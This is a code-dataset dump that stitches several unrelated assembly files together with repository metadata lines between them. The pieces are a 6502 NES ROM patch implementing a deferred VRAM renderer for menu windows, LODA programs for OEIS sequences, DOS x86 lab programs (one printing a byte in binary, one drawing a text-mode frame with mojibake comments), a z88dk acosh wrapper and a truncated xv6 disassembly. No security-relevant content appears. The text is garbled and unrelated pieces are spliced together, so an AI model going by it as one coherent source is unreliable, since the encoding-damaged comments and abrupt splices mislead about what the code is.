DECLARE_WINDOW_VARIABLES
;; setup vram address.
lda render_x.q.buffer,x ;; 4
sta $2006 ;; 8
lda render_x.q.buffer+1,x ;; 12
sta $2006 ;; 16
ldy render_x.q.buffer+2,x ;; 20
lda render_x.q.buffer+3,x ;; 24
tax ;; 26
tya ;; 28
;; branch out.
;; X = offset
;; A = length
.if render_x.UNROLL_DEPTH = 4
lsr A ;; 2
bcc .length_0 ;; 4+(1)
.length_1:
lsr A ;; 6
bcc .length_01 ;; 8+(1)
.length_11:
lsr A ;; 10
bcc .length_011 ;; 12+(1)
.length_111:
lsr A ;; 14
tay ;; 16
bcs .length_1111 ;; 18+1
bcc .length_0111 ;; 21
.length_011:
lsr A ;; 15
tay ;; 17
bcs .length_1011 ;; 19+1
bcc .length_0011 ;; 22
.length_01:
lsr A ;; 11
bcc .length_001 ;; 13+(1)
.length_101:
lsr A ;; 15
tay ;; 17
bcs .length_1101 ;; 19+1
bcc .length_0101 ;; 22
.length_001:
lsr A ;; 16
tay ;; 18
bcs .length_1001 ;; 20+1
bcc .length_0001 ;; 23
.length_0:
lsr A ;; 7
bcc .length_00 ;; 9+(1)
.length_10:
lsr A ;; 11
bcc .length_010 ;; 13+(1)
.length_110:
lsr A ;; 15
tay ;; 17
bcs .length_1110 ;; 20
bcc .length_0110 ;; 23
.length_010:
lsr A ;; 16
tay ;; 18
bcs .length_1010 ;; 21
bcc .length_0010 ;; 24
.length_00:
lsr A ;; 12
bcc .length_000 ;; 14+(1)
.length_100:
lsr A ;; 16
tay ;; 18
bcs .length_1100 ;; 21
bcc .length_0100 ;; 24
.length_000:
lsr A ;; 17
tay ;; 19
bcs .length_1000 ;; 22
bcc .length_0000
.else ;;UNROLL_DEPTH == 4
lsr A ;; 6
bcc .length_01 ;; 8+(1)
.length_11:
lsr A ;; 10
bcc .length_011 ;; 12+(1)
.length_111:
lsr A ;; 14
tay ;; 16
bcs .length_0111 ;; 18+1
bcc .length_0011 ;; 21
.length_011:
lsr A ;; 15
tay ;; 17
bcs .length_0101 ;; 19+1
bcc .length_0001 ;; 22
.length_01:
lsr A ;; 11
bcc .length_001 ;; 13+(1)
.length_101:
lsr A ;; 15
tay ;; 17
bcs .length_0110 ;; 19+1
bcc .length_0010 ;; 22
.length_001:
lsr A ;; 16
tay ;; 18
bcs .length_0100 ;; 20+1
bcc .length_0000 ;; 23
.endif ;;UNROLL_DEPTH
;; A = scratch.
;; X = buffer offset.
;; Y = loop counter.
.render_x.upload_loop:
.if render_x.UNROLL_DEPTH = 4
lda render_x.q.buffer-$10,x
sta $2007
.length_1111:
lda render_x.q.buffer-$0f,x
sta $2007
.length_1110:
lda render_x.q.buffer-$0e,x
sta $2007
.length_1101:
lda render_x.q.buffer-$0d,x
sta $2007
.length_1100:
lda render_x.q.buffer-$0c,x
sta $2007
.length_1011:
lda render_x.q.buffer-$0b,x
sta $2007
.length_1010:
lda render_x.q.buffer-$0a,x
sta $2007
.length_1001:
lda render_x.q.buffer-$09,x
sta $2007
.length_1000:
.endif ;;UNROLL_DEPTH == 4
lda render_x.q.buffer-$08,x
sta $2007
.length_0111:
lda render_x.q.buffer-$07,x
sta $2007
.length_0110:
lda render_x.q.buffer-$06,x
sta $2007
.length_0101:
lda render_x.q.buffer-$05,x
sta $2007
.length_0100:
lda render_x.q.buffer-$04,x
sta $2007
.length_0011:
lda render_x.q.buffer-$03,x
sta $2007
.length_0010:
lda render_x.q.buffer-$02,x
sta $2007
.length_0001:
lda render_x.q.buffer-$01,x
sta $2007
.length_0000:
;; overhead = 15 if loop continues, 5 if loop reached the end.
;; A = scratch.
;; X = buffer offset.
;; Y = render target index.
.next:
dey ;; 2
bmi render_x.upload_next ;; 4(+1)
txa ;; 6
clc ;; 8
;adc #$10 ;; 10
adc #(1 << render_x.UNROLL_DEPTH) ;;10
tax ;; 12
bne .render_x.upload_loop ;; 15
;; overhead = 5-6 cpu cycles.
;; A = scratch.
;; X = buffer offset.
;; Y = render target index.
render_x.upload_next:
DECLARE_WINDOW_VARIABLES
cpx <render_x.q.available_bytes ;; 3
bcs render_x.reset_states ;; 5(+1)
jmp render_x.render_deferred_contents ;; 8
;; out:
;; A: #0
render_x.reset_states:
lda #render_x.FULL_OF_FUEL
sta <render_x.q.fuel
lda #0
sta <render_x.q.available_bytes ;;this will free up a waiting thread
rts
;--------------------------------------------------------------------------------------------------
render_x.remove_nmi_handler:
pha
lda #$40 ;RTI
sta nmi_handler_entry
pla
rts
render_x.set_deferred_renderer:
jsr render_x.remove_nmi_handler
lda #HIGH(render_x.deferred_renderer)
sta nmi_handler_entry+2
lda #LOW(render_x.deferred_renderer)
sta nmi_handler_entry+1
lda #$4c ;JMP
sta nmi_handler_entry
render_x.rts_1:
rts
;--------------------------------------------------------------------------------------------------
;; in A: bytes to ensure
render_x.ensure_buffer_available:
DECLARE_WINDOW_VARIABLES
jsr render_x.remove_nmi_handler ;; preserves A.
;pha
;clc
;adc #14
;clc
;adc <render_x.q.available_bytes
;adc <render_x.q.stride
;cmp #render_x.BUFFER_CAPACITY
;pla
;bcs render_x.await_complete_rendering
clc
adc #render_x.FUEL_FOR_OVERHEAD
eor #$ff
tax
adc <render_x.q.fuel
bcs .available ;;ok. carry set = adding negative value resulted in overflow.
txa
pha
jsr render_x.await_complete_rendering
pla
clc
adc <render_x.q.fuel
.available:
sta <render_x.q.fuel
bit $2002
;bmi render_x.on_nmi_completed
bpl render_x.rts_1
;;in NMI
jmp field_x.advance_frame_no_wait
;rts
;--------------------------------------------------------------------------------------------------
render_x.finalize:
lda <render_x.q.available_bytes
;beq .completed
beq render_x.rts_1
;;jsr render_x.await_complete_rendering
.completed:
;; XXX:
;; in cases of paging in window,
;; the rendering continues even if it reached the bottom of window.
;lda #0
;sta <render_x.q.init_flags
;rts
;--------------------------------------------------------------------------------------------------
render_x.await_complete_rendering:
jsr render_x.set_deferred_renderer
.wait_nmi:
lda <render_x.q.available_bytes
bne .wait_nmi
render_x.on_nmi_completed:
.ifdef _FEATURE_MEMOIZE_BANK_SWITCH
inc <field.frame_counter
rts
.else
;; FIXME: this is a temporary measure to workaround PRG bank mismatch on nmi
jmp field_x.advance_frame_no_wait ;;inc <frame_counter + call sound driver
.endif ;;_FEATURE_MEMOIZE_BANK_SWITCH
;--------------------------------------------------------------------------------------------------
render_x.queue_content:
DECLARE_WINDOW_VARIABLES
.p_source = $80
clc
adc #$80
sta <.p_source
lda #$07
sta <.p_source+1
bit <render_x.q.init_flags
;php
;bmi .put_middles
bmi .do_queue
;; --- build final contents onto temporary buffer.
ldy #0
ldx #0
lda #$fa
jsr render_x.build_temp_buffer
.put_middles:
lda [.p_source],y
jsr render_x.build_temp_buffer
iny
cpy <.window_width
bne .put_middles
;plp
;bmi .do_queue
lda #$fb
jsr render_x.build_temp_buffer
lda #LOW(render_x.temp_buffer)
sta <.p_source
;FALL_THROUGH_TO render_x.queue_bytes_from_buffer
.do_queue:
jsr render_x.queue_bytes_from_buffer
jsr render_x.queue_attributes
;; ---
inc <.offset_y ;;originally 'field.upload_window_content's role
inc <.lines_drawn ;;originally caller's responsibility, it remains true but for bottom border we need prospective value
rts
;--------------------------------------------------------------------------------------------------
render_x.queue_top_border:
DECLARE_WINDOW_VARIABLES
ldy <.window_top
dey
;tya
ldx #2
jsr render_x.queue_border
ldy <.window_top
sty <.offset_y
rts
;--------------------------------------------------------------------------------------------------
render_x.queue_bottom_border:
DECLARE_WINDOW_VARIABLES
lda <.window_top
clc
adc <.window_height
tay
ldx #5
;;FALL_THROUGH_TO render_x.queue_border
;--------------------------------------------------------------------------------------------------
render_x.queue_border:
DECLARE_WINDOW_VARIABLES
.p_source = $80
sty <.offset_y
.put_borders:
ldy #3
.get_parts:
lda field_x.window_parts,x
pha
dex
dey
bne .get_parts
;; ---
;; this will update buffer at $7c0-7ff.
;; as the temp buffer this logic using is at $7d0-7ef
;; it is needed to use the buffer before/after
;; attr update completed.
jsr render_x.queue_attributes
;; --- queue tiles.
ldx #0
pla
jsr render_x.build_temp_buffer
pla
ldy <.window_width
.put_middles:
jsr render_x.build_temp_buffer
dey
bne .put_middles
pla
jsr render_x.build_temp_buffer
lda #LOW(render_x.temp_buffer)
sta <.p_source
lda #HIGH(render_x.temp_buffer)
sta <.p_source+1
;FALL_THROUGH_TO render_x.queue_bytes_from_buffer
;--------------------------------------------------------------------------------------------------
render_x.queue_bytes_from_buffer:
DECLARE_WINDOW_VARIABLES
.source_index = $85
ldx <.window_left
bit <render_x.q.init_flags
bmi .queue_bytes
dex
.queue_bytes:
txa
pha ;; left
;tax
;; A: left
;; X: left
;; Y: index into precalculated metrics
ldy #0
sty <.source_index
jsr render_x.begin_queueing
pla
;; A <-- windowleft
clc
adc render_x.q.strides+0 ;;1st bg
and #$3f
ldy #2
;tax
;jmp render_x.begin_queueing
;--------------------------------------------------------------------------------------------------
render_x.begin_queueing:
DECLARE_WINDOW_VARIABLES
.temp_left = .offset_x
;; in:
;; Y: target index
;; A: left
ldx render_x.q.strides,y
beq render_x.rts_2
sta <.temp_left
txa
pha ;;width
;; --- check if there enough space remaining in the buffer.
jsr render_x.ensure_buffer_available
;; --- queue the addr to render.
ldx <.temp_left
lda <.offset_y
;; X = window left
jsr render_x.map_coords_to_vram
;; A = vram high
;; X = vram low
;; S[0] = body length
render_x.queue_head_and_body:
.source_index = $85
.bias = $84
;sta $2006
;stx $2006
ldy <render_x.q.available_bytes
sta render_x.q.buffer,y
iny
txa
sta render_x.q.buffer,y
iny
pla ;;width
sta render_x.q.buffer,y
iny
pha ;;width
;; calc ajusted offset
;and #$f
and #((1 << render_x.UNROLL_DEPTH) - 1)
sta <.bias
iny ;;offset should point the byte immediately after the tag bytes
tya
tax
clc
adc <.bias
sta render_x.q.buffer-1,y
;; ----
pla ;; width
clc
adc <.source_index
ldy <.source_index
sta <.source_index
render_x.queue_bytes:
.source_index = $85
.p_buffer = $80
.temp_buffer = $7d0
;ldx <render_x.q.available_bytes
.loop:
;lda .temp_buffer,x
lda [.p_buffer],y
sta render_x.q.buffer,x
inx
iny
cpy <.source_index
bne .loop
stx <render_x.q.available_bytes
render_x.rts_2:
rts
;--------------------------------------------------------------------------------------------------
;; on entry, offset_y will have a valid value.
render_x.queue_attributes
DECLARE_WINDOW_VARIABLES
.addr_offset = $84
.p_source = $80
.source_index = $85
lda <.in_menu_mode
bne .done
;; in-place window. may need attr updates
lda <render_x.q.init_flags
and #render_x.NEED_ATTRIBUTES
beq .done
lda <.offset_y
cmp #30
bcc .no_wrap
sbc #30
sta <.offset_y
.no_wrap:
lsr A
bcs .done
;; only update attr if the line on even boundary
;pha
;jsr render_x.is_attr_have_updated
;pla
;bcs .done
lsr A
asl A
asl A
asl A
;sta <.addr_offset
pha
;; --- get attr cache updated.
jsr render_x.inflate_window_metrics
jsr field.init_window_attr_buffer ;ed56
jsr field.update_window_attr_buff ;$c98f
jsr field_x.shrink_window_metrics
;; here field.bg_attr_table_cache ($0300) will have merged attributes
lda #HIGH(field.bg_attr_table_cache)
sta <.p_source+1
lda #LOW(field.bg_attr_table_cache)
sta <.p_source
pla
sta <.source_index
pha
lda #$23
jsr .queue_attr
pla
ora #$40
sta <.source_index
lda #$27
.queue_attr:
pha ;;vram high
lda #8
jsr render_x.ensure_buffer_available
lda <.source_index
ora #$c0
tax ;;vram low
pla ;;vram high
tay
lda #8
pha ;;width
tya
jmp render_x.queue_head_and_body
.skip_update:
.done:
rts
;--------------------------------------------------------------------------------------------------
;; A = row in 16x16 unit
;;TODO
.if 0
render_x.is_attr_have_updated:
pha
and #1
tax
pla
lsr A
tay
lda <render_x.q.done_attrs,x
and floor_setBitMask,y
sec
bne .skip_update
clc
lda <render_x.q.done_attrs,x
ora floor_setBitMask,y
sta <render_x.q.done_attrs,x
.skip_update:
rts
.endif ;;TODO
;--------------------------------------------------------------------------------------------------
render_x.build_temp_buffer:
sta render_x.temp_buffer,x
inx
rts
;--------------------------------------------------------------------------------------------------
render_x.init_as_no_borders:
ldx #(render_x.NO_BORDERS|render_x.PENDING_INIT|render_x.RENDER_RUNNING)
FALL_THROUGH_TO render_x.setup_deferred_rendering
;; in X: init flags
render_x.setup_deferred_rendering:
DECLARE_WINDOW_VARIABLES
;; init deferred drawing.
pha
lda <render_x.q.init_flags
asl A
bmi .done ;; already requested init
.first_init:
;asl A
;bpl .store_init_flags
;jsr render_x.q.finalize
;txa
;ldx <.in_menu_mode
;bne .store_init_flags
; ora #(render_x.NEED_SPRITE_DMA)
.store_init_flags:
stx <render_x.q.init_flags
jsr render_x.reset_states
ldy <.window_left
lda <.window_width
pha ;;width
tax
bit <render_x.q.init_flags
bmi .no_borders
inx
inx
dey
.no_borders:
stx <.window_width
tya
jsr render_x.calc_available_width_in_bg
;; A = width 1st
;ldy #0
;sty <render_x.q.done_attrs
;sty <render_x.q.done_attrs+1
;pha ;;width_1st
;jsr render_x.precalc_params
sta <render_x.q.strides+0
;pla ;width_1st
eor #$ff
sec
adc <.window_width
;; A = width 2nd
;jsr render_x.precalc_params
sta <render_x.q.strides+2
pla
sta <.window_width
.done:
pla ;;initial A
rts
;--------------------------------------------------------------------------------------------------
;render_x.init:
; lda #0
; sta render_x.q.init_flags
; rts
;;make sure the init flag have 'clean' value before use
;;1F:E1DC:A9 00 LDA #$00
;;1F:E1DE:20 EC E7 JSR floor.load_data
;;1F:E1E1:A9 3A LDA #$3A
render_x.on_floor_enter:
FIX_ADDR_ON_CALLER $3f,$e1de+1
;a = #0;
;dungeon::loadFloor(); //$e7ec();
;;assume A == 0
sta render_x.q.init_flags
jmp floor.load_data ;;$e7ec
;;1E:A534:A9 00 LDA #$00
;;1E:A536:85 25 STA $0025 = #$00
;;1E:A538:8D 01 20 STA PPU_MASK = #$00
;;1E:A53B:8D F0 79 STA $79F0 = #$00
;;1E:A53E:8D F0 7A STA $7AF0 = #$00
;;1E:A541:20 06 DD JSR $DD06
render_x.on_menu_enter:
FIX_ADDR_ON_CALLER $3d,$a541+1
;;assume A == 0
sta render_x.q.init_flags
jmp $dd06 ;;? $dfd6() + call sounddriver + $dff8()
;;1F:C08E:A9 00 LDA #$00
;;1F:C090:20 9E C4 JSR $C49E
render_x.on_opening_enter:
FIX_ADDR_ON_CALLER $3e,$c090+1
;;assume A == 0
sta render_x.q.init_flags
jmp $C49E ;;some ppu initialiation
;--------------------------------------------------------------------------------------------------
;in: A = offset Y, X = offset X
;out: A = vram high, X = vram low
render_x.map_coords_to_vram:
;@see $3f:f40a setVramAddrForWindow
.y_to_addr_low = $f4a1
.y_to_addr_high = $f4c1
cmp #30
bcc .no_wrap_y
sbc #30 ;here carry is always set
.no_wrap_y:
tay
txa
and #$3f ;wrap around
cmp #$20 ;check which BG X falls in
and #$1f ;turn into offset within that BG
ora .y_to_addr_low,y
tax
lda .y_to_addr_high,y
bcc .bg_1st
.bg_2nd:
ora #4
.bg_1st:
rts
;--------------------------------------------------------------------------------------------------
field_x.shrink_window_metrics:
DECLARE_WINDOW_VARIABLES
inc <.window_left
inc <.window_top
dec <.window_width
dec <.window_width
dec <.window_height
dec <.window_height
rts
render_x.inflate_window_metrics:
DECLARE_WINDOW_VARIABLES
dec <.window_left
dec <.window_top
inc <.window_width
inc <.window_width
inc <.window_height
inc <.window_height
rts
;VERIFY_PC_TO_PATCH_END field.window.ppu
VERIFY_PC_TO_PATCH_END menu.erase
render_x.RENDERER_END:
;==================================================================================================
;RESTORE_PC floor.treasure.FREE_BEGIN
;--------------------------------------------------------------------------------------------------
;--------------------------------------------------------------------------------------------------
;VERIFY_PC_TO_PATCH_END floor.treasure
;==================================================================================================
INIT_PATCH_EX menu.metrics, $3d,$aaa6,$aabc,$aaa6
;;# $3d:aaa6 menu.get_window_content_metrics
;;> 各種メニューウインドウのコンテンツ領域のメトリック(サイズ・位置)を取得する。
;;
;;### args:
;;
;;#### in:
;;+ u8 X: window_id
;;
;;#### out:
;;+ u8 $38: box left
;;+ u8 $39: box top
;;+ u8 $3c: box width
;;+ u8 $3d: box height
;;+ u8 $97: cursor stop offset x
;;+ u8 $98: cursor stop offset y
;;
;;### callers:
;;+ `1E:9660:20 A6 AA JSR $AAA6` @ $3c:962f menu.jobs.main_loop (x = 0x0e)
;;+ `1E:9791:20 A6 AA JSR menu.get_window_content_metric` @ $3c:9761 menu.magic.main_loop
;;+ `1E:A334:20 A6 AA JSR menu.get_window_content_metric` @ $3d:a332 menu.party_summary.draw_content
;;+ `1E:B9BC:20 A6 AA JSR menu.get_window_content_metric` @ ? name display at new game. (x = 0x22)
;;+ `1F:C02B:20 A6 AA JSR menu.get_window_content_metric` @ ? opening title.
menu.get_window_content_metrics: ;;$3d:aaa6
jsr menu.get_window_metrics ; AAA6 20 BC AA
jmp field_x.shrink_window_metrics
menu_x.get_window_metrics_and_init_as_without_borders:
;; fixups.
FIX_ADDR_ON_CALLER $3c,$9791+1 ;;$3c:9761 menu.magic.main_loop
FIX_ADDR_ON_CALLER $3d,$a334+1 ;;$3d:a332 menu.party_summary.draw_content
FIX_ADDR_ON_CALLER $3e,$c02b+1 ;;opening.
;;
jsr menu.get_window_content_metrics
jmp render_x.init_as_no_borders
;inc <$38 ; AAA9 E6 38
;inc <$39 ; AAAB E6 39
;lda <$3C ; AAAD A5 3C
;sec ; AAAF 38
;sbc #$02 ; AAB0 E9 02
;sta <$3C ; AAB2 85 3C
;lda <$3D ; AAB4 A5 3D
;sec ; AAB6 38
;sbc #$02 ; AAB7 E9 02
;sta <$3D ; AAB9 85 3D
;rts ; AABB 60
VERIFY_PC_TO_PATCH_END menu.metrics
.endif ;;_FEATURE_DEFERRED_RENDERING
| 24.997672
| 121
| 0.592558
|
240bde1c2df022d1664c97a075a817eae06fe08a
| 592
|
asm
|
Assembly
|
oeis/301/A301484.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/301/A301484.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/301/A301484.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A301484: Decimal expansion of J_0(2)/J_1(2) = 1 - 1/(2 - 1/(3 - 1/(4 - ...))).
; Submitted by Christian Krause
; 3,8,8,2,1,0,7,6,5,5,6,7,7,9,5,7,8,7,5,1,1,6,5,8,5,5,7,3,0,6,5,3,7,0,2,9,2,2,1,7,4,5,0,4,0,7,2,5,3,2,9,8,1,8,6,4,6,4,2,8,2,7,5,9,3,7,3,5,1,7,3,9,5,6,3,8,2,4,2,0,1,2,1,1,0,1,9,3,5,1,6,2,8,2,8,0,3,1,9,6
add $0,1
mov $3,$0
mul $3,5
lpb $3
add $2,988
mov $4,$3
cmp $4,0
add $3,$4
div $1,$3
add $2,$1
sub $1,$2
mul $2,$3
add $1,$2
mov $5,$0
div $5,3
max $5,1
div $1,$5
div $2,$5
sub $3,1
lpe
mov $6,10
pow $6,$0
div $2,$6
div $1,$2
mov $0,$1
mod $0,10
| 19.096774
| 201
| 0.501689
|
408e396d66cca11c72876d419e905d534252405e
| 1,998
|
asm
|
Assembly
|
computer-architecture/labs/lab8/1.asm
|
vampy/university
|
9496cb63594dcf1cc2cec8650b8eee603f85fdab
|
[
"MIT"
] | 6
|
2015-06-22T19:43:13.000Z
|
2019-07-15T18:08:41.000Z
|
computer-architecture/labs/lab8/1.asm
|
vampy/university
|
9496cb63594dcf1cc2cec8650b8eee603f85fdab
|
[
"MIT"
] | null | null | null |
computer-architecture/labs/lab8/1.asm
|
vampy/university
|
9496cb63594dcf1cc2cec8650b8eee603f85fdab
|
[
"MIT"
] | 1
|
2015-09-26T09:01:54.000Z
|
2015-09-26T09:01:54.000Z
|
ASSUME CS: code, DS:data
; 1. A string of bytes is given in the data segment.
; Print on the standard output (screen) the elements of this string in base 2.
data SEGMENT
nr DB 23
ten DB 10
two DB 2
hex_table DB '0123456789ABCDEF'
data ENDS
code SEGMENT
PRINT_EOL MACRO
mov DL, 13 ; \r
mov AH, 02h
int 21h
mov DL, 10 ; \n
mov AH, 02h
int 21h
; print \r\n
ENDM
PRINT_STRING MACRO string
lea DX, string
mov AH, 09h
int 21h
ENDM
PRINT_CHAR MACRO char
mov DL, char
mov AH, 02h
int 21h
ENDM
READ_STRING MACRO max_bytes
mov AH, 0Ah
lea DX, max_bytes
int 21h
; Afet IHR will be executred the name of the file will be stored
; at max_bytes + 2 and the offset max_bytes + 1 will store the length
ENDM
CONVERT_TO_ASCIIZ MACRO string, string_length
; Assume string is always longer with 1
mov AL, string_length
mov AH, 0
mov SI, AX
mov string[SI], 0
ENDM
; BX will be altered and also AL
; return:
; in AL
hexnum_to_char PROC
lea BX, hex_table
xlat
ret
hexnum_to_char ENDP
start:
mov AX, data
mov DS, AX
mov ES, AX
PRINT_EOL
mov AL, nr
mov AH, 0
mov CX, 0
repeat_stack:
; AX / 2
div two
; remainder in AH, quotient in AL
mov BL, AH
mov BH, 0
push BX
;prepare for next iteration
mov AH, 0
inc CX
; until AL the quotient is zero
cmp AL, 0
jnz repeat_stack
repeat_display:
pop AX
add AL, '0'
PRINT_CHAR AL
loop repeat_display
;READ_STRING user_password_max
;CONVERT_TO_ASCIIZ user_password, user_password_length
end_start:
PRINT_EOL
mov AX, 4C00h ; function 4C with exit code 0
int 21h
code ENDS
END start
| 19.398058
| 78
| 0.567568
|
2c9008a745fd54f379e181fb2e74f776bab0faa3
| 5,054
|
asm
|
Assembly
|
ASM-Homework/print without offset/pict.asm
|
SokolovVadim/ComputerScience
|
226043aa89edaff3a633f7ce98be9f20cf767203
|
[
"MIT"
] | null | null | null |
ASM-Homework/print without offset/pict.asm
|
SokolovVadim/ComputerScience
|
226043aa89edaff3a633f7ce98be9f20cf767203
|
[
"MIT"
] | null | null | null |
ASM-Homework/print without offset/pict.asm
|
SokolovVadim/ComputerScience
|
226043aa89edaff3a633f7ce98be9f20cf767203
|
[
"MIT"
] | null | null | null |
.model tiny
.code
org 100h
VIDEOSEG equ 0b800h ; ®¡à 饚¥ ª ¢š€¥®¯ ¬ïâš
LINE equ 80 ; €«š áâபš (§ ª®¬¥áâ)
; ᬥ饚¥ 80 § ª®¬¥áâ
; ¯¥à¥¢®€šâ "ªãàá®à"
; 1 áâப㠢š§
WFRAME equ 35 ; èšàš à ¬ªš
HFRAME equ 2 ; ¢ëá®â à ¬ªš
COUNTSPACE1 equ 43 ; ª®«-¢® ¯à®¡¥«®¢ ¯®á«¥ à ¬ªš
COUNTSPACE2 equ 35 ; ª®«-¢® ¯à®¡¥«®¢ ¢ãâàš à ¬ªš
COUNTLINES equ 6 ; ª®«-¢® ¯ãáâëå áâப
Start:
mov ax, VIDEOSEG ; ax = 0b800h
mov es, ax
mov al, LINE
mov bl, y
mul bl
add al, x
adc ah, 0
push ax
xor dx, dx
mov dl, x;
add ax, dx
pop ax
shl ax, 1
mov bx, ax
mov cl, 0c9h ; ¯®¬¥é ¥¬ ¢ cl ᚬ¢®« ç « à ¬ªš
mov es:[bx], cl
mov byte ptr es:[bx+1], 3eh ; ªà ᚬ ä® áš¬¢®«
add bx, 2
push ax
xor ah, ah
; int 16h
pop ax
mov dl, 0cdh ; ¯®¬¥é¢¥¬ ¢ dl ᚬ¢®« =
mov cx, 0 ; áç¥â皪 ª®«-¢ ᚬ¢®«®¢ =
MakeUp:
mov es:[bx], dl
mov byte ptr es:[bx+1], 4eh
add bx, 2
push ax
xor ah, ah
pop ax
inc cx
cmp cx, WFRAME
jne MakeUp
mov cl, 0bbh ; ¯®¬¥é ¥¬ ¢ cl ᚬ¢®« ª®æ à ¬ªš
mov es:[bx], cl
mov byte ptr es:[bx+1], 4ah
add bx, 2
push ax
xor ah, ah
; int 16h
pop ax
mov si, 0
MakeSpaceLine:
cmp si, (COUNTLINES/2)
je PrintStr ; ¯®áीš à ¬ªš ¯àë£ ¥¬
; ¢ë¢®€ ⥪áâ
int 16h
Repeat:
int 16h
mov cx, 0
mov dl, 20h
MakeSpace1:
Avoid: mov es:[bx], dl ; ¯¥à¥å®€š¬ ®¢ãî áâபã
mov byte ptr es:[bx+1], 07h
add bx, 2
; push ax
; xor ah, ah
; int 16h
inc cx
cmp cx, COUNTSPACE1
jne MakeSpace1
mov dl, 0bah ; § ªš€ë¢ ¥¬ || ¯¥à¥€ ¯à®¡¥« ¬š
mov es:[bx], dl
mov byte ptr es:[bx+1], 4eh
add bx, 2
; push ax
; xor ah, ah
; int 16h
; pop ax
mov cx, 0
mov dl, 20h
MakeSpace2: mov es:[bx], dl ; ¯šè¥¬ ¯à®¡¥«ë ¬¥Š€ã || ||
mov byte ptr es:[bx+1], 4eh
add bx, 2
push ax
; xor ah, ah
; int 16h
; pop ax
inc cx
cmp cx, WFRAME
jne MakeSpace2
mov dl, 0bah ; § ªàë¢ ¥¬ áâபã á ¯à®¡¥« ¬š ||
mov es:[bx], dl
mov byte ptr es:[bx+1], 4eh
add bx, 2
inc si
cmp si, COUNTLINES
jna MakeSpaceLine
cmp si, COUNTLINES ; ¥á«š ¢ë¢®€ ¢á¥å áâப § ¢¥àèš«áï
jnl EndProg ; â® ¯¥à¥€ ¥¬ ã¯à ¢«¥š¥ Dos-ã
PrintStr: ; ¯¥ç â ¥¬ áâபã
; ¯¥à¥å®€š¬ ®¢ãî áâபã
mov dh, 0
mov dl, 20h
inc si
AvoidLine: mov es:[bx], dl
add bx, 2
inc dh
cmp dh, CountSpace1
jne AvoidLine
mov di, offset Text
Next: mov al, [di] ; ¢ë¢®€š¬ ᚬ¢®«ë áâபš
inc di
mov es:[bx], al
mov byte ptr es:[bx+1], 4eh
add bx, 2
cmp al, '$'
jne Next
cmp si, COUNTLINES
jl Repeat ;
EndProg: mov ax, 4c00h ; ¢ë宀 š§ ¯à®£à ¬¬ë
int 21h ; š ¯¥à¥€ ç ã¯à ¢«¥šï Dos-ã
Text db 'Ya ronyau zapaddjva$'
x db 34/2
y db 12/2
end Start
| 30.263473
| 84
| 0.274634
|
121ae5ac983f4444ca072c33f2636ba02007a8f6
| 151
|
asm
|
Assembly
|
libsrc/_DEVELOPMENT/math/float/math32/c/sdcc/cm32_sdcc_acosh.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 640
|
2017-01-14T23:33:45.000Z
|
2022-03-30T11:28:42.000Z
|
libsrc/_DEVELOPMENT/math/float/math32/c/sdcc/cm32_sdcc_acosh.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 1,600
|
2017-01-15T16:12:02.000Z
|
2022-03-31T12:11:12.000Z
|
libsrc/_DEVELOPMENT/math/float/math32/c/sdcc/cm32_sdcc_acosh.asm
|
jpoikela/z88dk
|
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
|
[
"ClArtistic"
] | 215
|
2017-01-17T10:43:03.000Z
|
2022-03-23T17:25:02.000Z
|
SECTION code_fp_math32
PUBLIC cm32_sdcc_acosh
EXTERN cm32_sdcc_fsread1, _m32_acoshf
cm32_sdcc_acosh:
call cm32_sdcc_fsread1
jp _m32_acoshf
| 13.727273
| 37
| 0.827815
|
d4cae58e710cabd512e54223860e97f9dc5c028d
| 325
|
asm
|
Assembly
|
programs/oeis/040/A040200.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/040/A040200.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/040/A040200.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A040200: Continued fraction for sqrt(215).
; 14,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1,28,1,1,1
dif $0,2
mov $1,$0
cmp $0,0
sub $1,$0
gcd $1,2
add $1,12
add $0,$1
mul $0,$1
sub $0,168
| 25
| 190
| 0.575385
|
1e78561e18ad5a1866341895202730cc643fe0cf
| 45,011
|
asm
|
Assembly
|
stressfs.asm
|
MahtabEK/OS---XV6
|
eb32b4b384df09d9cc102a46e683dbe37f66f8eb
|
[
"MIT-0"
] | null | null | null |
stressfs.asm
|
MahtabEK/OS---XV6
|
eb32b4b384df09d9cc102a46e683dbe37f66f8eb
|
[
"MIT-0"
] | null | null | null |
stressfs.asm
|
MahtabEK/OS---XV6
|
eb32b4b384df09d9cc102a46e683dbe37f66f8eb
|
[
"MIT-0"
] | null | null | null |
_stressfs: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "fs.h"
#include "fcntl.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
